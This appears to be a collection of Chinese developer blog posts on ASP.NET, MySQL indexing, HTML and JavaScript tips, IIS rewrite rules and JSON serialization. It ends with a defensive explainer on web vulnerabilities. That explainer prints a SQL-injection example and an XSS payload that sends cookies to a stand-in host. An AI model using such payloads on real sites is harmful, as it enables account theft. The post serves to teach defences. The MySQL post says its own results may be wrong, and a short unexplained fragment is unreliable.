无法向会话状态服务器发出会话状态请求。请确保 ASP.NET State Service (ASP.NET 状态服务)已启动，并且客户端端口与服务器端口相同。如果服务器位于远程计算机上，请检查 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\aspnet_state\Parameters\AllowRemoteConnection 的值，确保服务器接受远程请求。如果服务器位于本地计算机上，并且上面提到的注册表值不存在或者设置为 0，则状态服务器连接字符串必须使用“localhost”或“127.0.0.1”作为服务器名称。

无法连接 StateService 的原因有很多种，我遇到的情况是：

VS 中使用 IISExpress 调试项目，系统没有安装 IIS，

ASP.NET 状态服务是开启状态，

没有对系统作任何修改，无缘无故无法连接。

修改注册表、配置防火墙无效（我没有用到远程连接），

执行 aspnet_regiis -i -enables 无效，

重装 .NET Framework 4.8 Developer Pack 无效，

差点就重装系统了。

最终的解决方法是：

在“启用或关闭 Windows 功能”中勾选安装：Internet Information Services -> 万维网服务 -> 应用程序开发功能 -> ASP.NET 4.8

重启系统。

Visual Studio 2019 已于本月早些时候正式发布，但 MySQL for Visual Studio 却迟迟未更新，目前的 1.2.8 版本只支持到 VS2017。表现在 VS2019 上会发生：

• 在“服务器资源管理器”中添加连接时，或在新建“ADO.NET 实体数据模型”时，无法看到数据源“MySQL Database (MySQL Data Provider)”

• 在实体数据模型设计器（Entity Data Model Designer）中执行“从数据库更新数据模型”时出现错误：尝试从数据库进行更新时，遇到类型为“System.ArgumentException”的异常。异常消息为:“无法将运行时连接字符串转换为设计时等效项。没有为提供程序“MySql.Data.MySqlClient”安装为设计目的(DDEX 提供程序)启用 Visual Studio 以便与数据库进行通信所需的库。 

幸运的是 VS2019 可以与低版本 VS 共存，使用 ASP.NET 连接 MySQL 的开发者们要再等一等才能用上 VS2019 了。

这几天 MySQL 不断有产品更新，相信 MySQL for Visual Studio 2019 也会在不久的将来面世，本站将第一时间更新下载地址。

2019.8.30 Jose Ramirez（来自 MySQL 的 Windows 团队）：MySQL for Visual Studio 的当前版本不支持 Visual Studio 2019。正在努力提供支持，但根据公司政策，我无法披露日期或对何时可用提供任何承诺。查看

2019.9.26 MySQL for Visual Studio 迟迟未更新，但是 VS2019 更新到最新版本（v16.3）已经一切正常了。

MySQL for Visual Studio 的 Repair 功能是鸡肋，有问题的话，Remove 后重新安装才能解决。

当使用在线编辑器编辑一篇文章（或从 Word 复制）后，会得到包含 HTML 标签的字符串内容，可以直接将它输出到页面上而不需要进行 HTML 编码。

但是，当我们需要改变图片大小时，我们发现有些图片的尺寸是直接使用 style 属性固定的，除了用 JS 进行后期处理，我们可以在服务端对 <img /> 进行修正。

这个场景会在小程序开发的时候遇到。

我们可以在客户端用 JS 进行处理，也可以在服务端用类似的方法处理（使用正则表达式）。参此文

这里使用 HtmlAgilityPack 通过递归节点来处理：

/// <summary>
/// 给所有指定节点添加样式
/// </summary>
/// <param name="html"></param>
/// <param name="tag">节点名称（小写），如：img</param>
/// <param name="styles">要添加的样式，如：max-width:100%;</param>
/// <returns></returns>
public static string AddStyleToHtmlNode(string html, string tag, string styles)
{
    HtmlDocument doc = new HtmlDocument();
    doc.LoadHtml(html);

    for (var i = 0; i < doc.DocumentNode.ChildNodes.Count; i++)
    {
        doc.DocumentNode.ChildNodes[i] = AddStyleToHtmlNode(doc.DocumentNode.ChildNodes[i], tag, styles);
    }

    return doc.DocumentNode.OuterHtml;
}
private static HtmlNode AddStyleToHtmlNode(HtmlNode node, string tag, string styles)
{
    if (node.Name == tag)
    {
        var style = node.GetAttributeValue("style", null);
        node.SetAttributeValue("style", ((string.IsNullOrWhiteSpace(style) ? "" : style.Trim() + ";") + styles).Replace(";;", ";"));
    }
    for (var i = 0; i < node.ChildNodes.Count; i++)
    {
        node.ChildNodes[i] = AddStyleToHtmlNode(node.ChildNodes[i], tag, styles);
    }
    return node;
}

直接调用：

Content = zStringHTML_190126.AddStyleToHtmlNode(Content, "img", "max-width:100%;height:auto;");

当使用在线编辑器编辑一篇文章（或从 Word 复制）后，会得到包含 HTML 标签的字符串内容，可以直接将它输出到页面上而不需要进行 HTML 编码。

但是，当我们需要改变图片大小时，我们发现有些图片的尺寸是直接使用 style 属性固定的，除了用 JS 进行后期处理，我们可以在服务端对 <img /> 进行修正。

这个场景会在小程序开发的时候遇到。

网上一般使用正则表达式直接将 <img 替换成 <img style="max-width: 100%; height: auto;" ，缺点是如果该 <img /> 本身就带有 style 属性，那么会出现一个标签两个 style，很多情况导致这两个样式同时失效，所以我们应针对有 style 和无 style 分别处理。

// 把 <img src="a.jpg" style="display: block;" /> 替换成 <img src="a.jpg" style="display: block;;max-width:100%;height:auto;" />
Content = Content.replace(/(\<img\s+[^>]*style\s*\=\s*['"][^'"]*)(['"])/gi, '$1;max-width:100%;height:auto;$2');

// 把 <img src="b.jpg" /> 替换成 <img src="b.jpg" style="max-width:100%;height:auto;" />
Content = Content.replace(/(\<img\s+((?!style).)+?)(\/?>)/gi, '$1 style="max-width:100%;height:auto;" $3');

复制以上代码时，半角空格可能会变成全角空格，请注意修正。

当有 style 时，我们将 max-width: 100%; height: auto;追加在原样式之后，以重写原样式。这里没有直接判断原样式是否以 ; 结尾，而是直接追加 ;，这并不会影响实现展示效果。

在判断没有 style 用到正则表达式的“断言”，参：https://blog.csdn.net/xuyangxinlei/article/details/81359366

延伸阅读：C# 用 HtmlAgilityPack 给 HTML 节点加上 style

2019/2/16 补充：参见 JavaScript 中的 Truthy 和 Falsy。

使用以下代码对字符串 s 进行判断：

var s = null;
if (s) {
    console.log('true');
} else {
    console.log('false');
}

测试当 s 为不同值时的结果如下：

结论：

当 s 未定义或未赋值时，结果为 false；

当 s 为字符串类型时，长度为 0 即 false，长度大于 0 即 true；

当 s 为数字类型时，等于 0 为 false，不等于 0 为 true。

如果判断 s 的长度：

var s = null;
if (s.length > 0) {
    console.log('true');
} else {
    console.log('false');
}

那么会有以下结果：

结论：

当 s 未定义或未赋值时，异常；

当 s 为字符串类型时，长度为 0 即 false，长度大于 0 即 true；

当 s 为数字类型时，永远为 false。

这样的话，if(s.length > 0) 等同于 if(s.length)。

综上所述，判断一个字符串是否“有值且长度大于 0 ”，可以这样写：

var s = null;
if (s && s.length) {
    console.log('true');
} else {
    console.log('false');
}

相反，是否“无值或长度为 0”，可以这样写：

var s = null;
if (!s || !s.length) {
    console.log('true');
} else {
    console.log('false');
}

当然，如果要将不为 0 的数字类型也视为“有值”，只要 if(s) 或 if(!s) 即可。

当我们用 ASP.NET Web API 作服务端接口时，如果客户端以 GET 方式请求的 URL 中，由于拼接错误导致“？”和“&”并列出现，会发生 400 Bad Request，那么需要在 IIS 中使用 URL 重写模块来纠正。

请求 URL 如：

http://www.abc.com/api/obj?&foo=bar

需要重写为：

http://www.abc.com/api/obj?foo=bar

打开 IIS 管理器中对应网站的 URL 重写，

添加空白规则。

匹配的 URL 不包含域名，如上述 URL 则匹配的范围是：

api/obj

不包含我们要查找的字符串 ?&，所以此处模式只能匹配所有：

.*

又因为重定向路径中需要包含这部分，所以用括号包裹，即：

(.*)

继续添加条件匹配：

条件输入：{QUERY_STRING}，表示匹配查询字符串，

匹配的部分是“?”后面的字符串：

&foo=bar

那么可以填写模式：

^\&.*

因为 & 后面的部分仍然需要使用，所以用括号包裹：

^\&(.*)

“操作”中选择类型“重定向”，URL 填写：

{R:1}?{C:1}

其中 {R:1} 指代 api/obj，{C:1} 指代 foo=bar

取消“附加查询字符串”前面的勾

重定向类型在测试时可以选择 302 或 307，没问题后选择 301。

完成。

最终我们可以在网站的配置文件 web.config 中看到：

<rewrite>
    <rules>
        <rule name="uni-app-h5-replace-q" stopProcessing="true">
            <match url="(.*)" />
            <conditions>
                <add input="{QUERY_STRING}" pattern="^\&amp;(.*)" />
            </conditions>
            <action type="Redirect" url="{R:1}?{C:1}" appendQueryString="false" redirectType="Temporary" />
        </rule>
    </rules>
</rewrite>

我们要把这段代码复制到开发环境源代码的 web.config 中，以免发布网站时将我们设置好的配置覆盖掉。

一些总结：

• 交换两个字符串的顺序，结果不变。

• 如果要把一些词汇按在某篇文章中出现频率排序，那么应选择余弦定理。
  

本文未完成，部分测试方法、条件或结果可能有误，请谨慎参考！ :)

本文基于 MySQL 的 InnoDB BTREE 方法的索引进行测试。

以一张包含 2000 万条记录的表做实验：

CREATE TABLE `dt_read`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `time` datetime(0) NOT NULL,
  `a_id` int(11) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
);

这张表是用于记录文章点击量的，

`id` 为主键，int(11) 自增；

`time` 为非空 datetime，表示文章打开时间，测试数据是从 2017-03-11 至 2018-04-28；

`a_id` 为非空 int(11)，表示文章 ID，在此表中不唯一，测试数据是从 1 至 260218。

体验“全表扫描”

首先来体验一下什么是全表扫描，执行下面语句：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' LIMIT 10

> 时间: 0.012s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 7.317s

表中数据是按主键从小到大排列的，当查询条件为 `time` < '2020-1-1' 时，能很快地从表的前端找到 10 条满足条件的数据，所以不再继续判断后面的记录，立刻返回结果，耗时 0.012 秒；但当条件改为 `time` < '2000-1-1' 时，同样逐条判断，直到最后一条也没有找到，这种情况就是所谓的“全表扫描”，耗时 7 秒。

索引对 ORDER BY 的 ASC 和 DESC 的影响

我们给 `time` 建一个索引，同样执行刚才需要全表扫描的语句：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 0.012s

创建 `time` 的索引后，相当于生成了一张按 `time` 字段排列的新表，这时 MySQL 就能够很快地定位并找到符合条件的记录，避免了全表扫描。

试试按 `time` 倒序排：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `time` DESC LIMIT 10

> 时间: 0.013s

结论：索引对 ORDER BY 的顺序（ASC）和倒序（DESC）都是有效的。

索引字段的次序对 WHERE 和 ORDER BY 的影响

删除所有索引，创建一个新的索引，字段依次为 `time`, `a_id`。

分别执行以下查询：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 AND `time` < '2000-1-1' LIMIT 10

> 时间: 0.013s

结论：MySQL 会自动优化 WHERE 条件的次序来匹配最合适的索引。

但在 ORDER BY 中却不是这么回事了：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id`, `time` LIMIT 10

> 时间: 14.066s

原因也很好理解，对两个字段进行排序，先后次序肯定会影响结果集，因此只能以 SQL 语句指定的字段次序来 ORDER BY，这样，按索引的字段次序进行 ORDER BY 查询无疑是更快的。

索引中的字段必须依次使用

保持上例创建的索引不变，即 `time`, `a_id`。

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 LIMIT 10

> 时间: 6.438s

上句合理利用了索引的字段，而下句跳过了 `time`，直接 WHERE 了 `a_id`，这是不受该索引支持的。

我们可以想象一下这张由索引生成的虚拟表，其实就是一张普通的平面二维表格，按索引指定的字段次序进行了排序，所以全表中仅仅是索引指定的第一个字段是按大小排列的，第二个字段是在第一个字段值相同的区域内按大小排列，后同。所以，跳过索引指定的第一个字段直接对第二个字段进行检索，是无法应用该索引的。这个结论也同样也体现在 ORDER BY 语句中：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 29.566s

WHERE 和 ORDER BY 混合

保持上例创建的索引不变，即 `time`, `a_id`。

先来执行这两句：

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 12.29s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

仅仅 WHERE 了一个 `time`，对 ORDER BY `a_id` 的效率却有质的提升，是因为 WHERE 中的 `time` 和 ORDER BY 中的 `a_id` 一起找到了索引吗？答案是否定的。

我们把时间改大，让它能马上找到符合条件的数据：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 22.34s

为什么这个语句就不走索引了呢？

其实，一个简单的 SELECT 查询语句，首先执行 WHERE，然后 ORDER BY，最后是 LIMIT。每一步都独自去找了索引，而非 WHERE 和 ORDER BY 混在一起去找索引。必须保证每一步是快的，最终才是快的。

当 `time` < '2000-1-1' 时，WHERE 用到了索引，所以很快，ORDER BY 却没有用到索引，但为什么也很快呢？因为 WHERE 的结果集非常小（示例中为 0 条）。

当 `time` < '2020-1-1' 时，WHERE 也用到了索引，但其结果集非常大（示例中为所有记录），再 ORDER BY `a_id` 就非常慢了，因为我们没有创建以 `a_id` 开头的索引。

现在把索引改成只有 `time` 一个字段。

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 6.033s

因为索引里有 `

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 ORDER BY `time` LIMIT 10

> 时间: 6.033s

第二句先 WHERE `a_id`，后 ORDER BY `time` 是不能匹配所建的索引的。

索引中的字段越多越好

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

本例使用 ORDER BY 而不是 WHERE 来测试是因为，在 WHERE 的多个条件下，如果符合前一条件的筛选结果集过小会导致判断第二条件时数据量不足，无法判断索引是否起作用。

SELECT * FROM `dt_read` ORDER BY `time` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 0.013s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 15.015s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.014s

可以看到，在索引字段依次使用的前提下，索引字段数不少于查询字段数才能避免全表扫描。

虽然索引中的字段越多越好，但必须依次使用，否则也是无效索引。

索引对 INSERT / UPDATE / DELETE 的效率影响

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

INSERT INTO `dt_read` (`time`, `a_id`) VALUES ('2018-4-28', 260218)

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

UPDATE `dt_read` SET `time` = '2018-4-28' WHERE `id` = 20000000（注：存在该 id 值的记录）

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

虽然在 INSERT / UPDATE / DELETE 时数据库会更新索引，但从实测数据来看，索引对其效率的影响可忽略不计。

一些误区

“in 语法效率很低”?

in 语法也是应用索引的，网传 in 会比一个一个 WHERE OR 要慢得多的说法是不靠谱的。in 主键和 in 索引同理。

另外：

对于字符串类型，LIKE '%abc%' 是不能应用索引的，但 LIKE 'abc%' 可以。更多关于字符串类型的索引，请查阅全文索引（FULLTEXT）。

索引的字段是可以指定长度的，类似字符串索引指定前面若干唯一字符就可以优化效率。

本文系个人实践总结，欢迎批评指正！

本文记录 Newtonsoft.Json 的用法，System.Text.Json 请参此文。

如何在序列化时间类型时以“年-月-日 时:分:秒”的格式输出？

默认时间类型将序列化为：2017-11-10T18:48:14.1685763+08:00，我们只要 new 一个 IsoDateTimeConverter 即可改变时间类型的输出格式：

var dtc = new IsoDateTimeConverter { DateTimeFormat = "yyyy-MM-dd HH:mm:ss" };
string b = JsonConvert.SerializeObject(DateTime.Now, dtc);

如何将对象序列化为可友好阅读的字符串？

序列化后的字符串默认是“紧凑型”的，如：{"a":1,"b":2}

可以将 Formatting 指定为 Indented 即可输出格式化后的字符串，例：

var obj = new { a = 1, b = 2 };
string a = JsonConvert.SerializeObject(obj, Formatting.Indented);

结果如下：

{

  "a": 1,

  "b": 2

}

枚举类型输出为字符串，而非索引值

[Newtonsoft.Json.JsonConverter(typeof(Newtonsoft.Json.Converters.StringEnumConverter))]

更多用法参：https://www.cnblogs.com/DomoYao/p/Json.html

不序列化属性

[Newtonsoft.Json.JsonIgnore]

当值为 null 时不序列化

[JsonProperty(NullValueHandling = NullValueHandling.Ignore)]

不序列化值为 null 的项

var jSetting = new JsonSerializerSettings { NullValueHandling = NullValueHandling.Ignore };

JsonConvert.SerializeObject(obj, Formatting.Indented, jSetting);

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。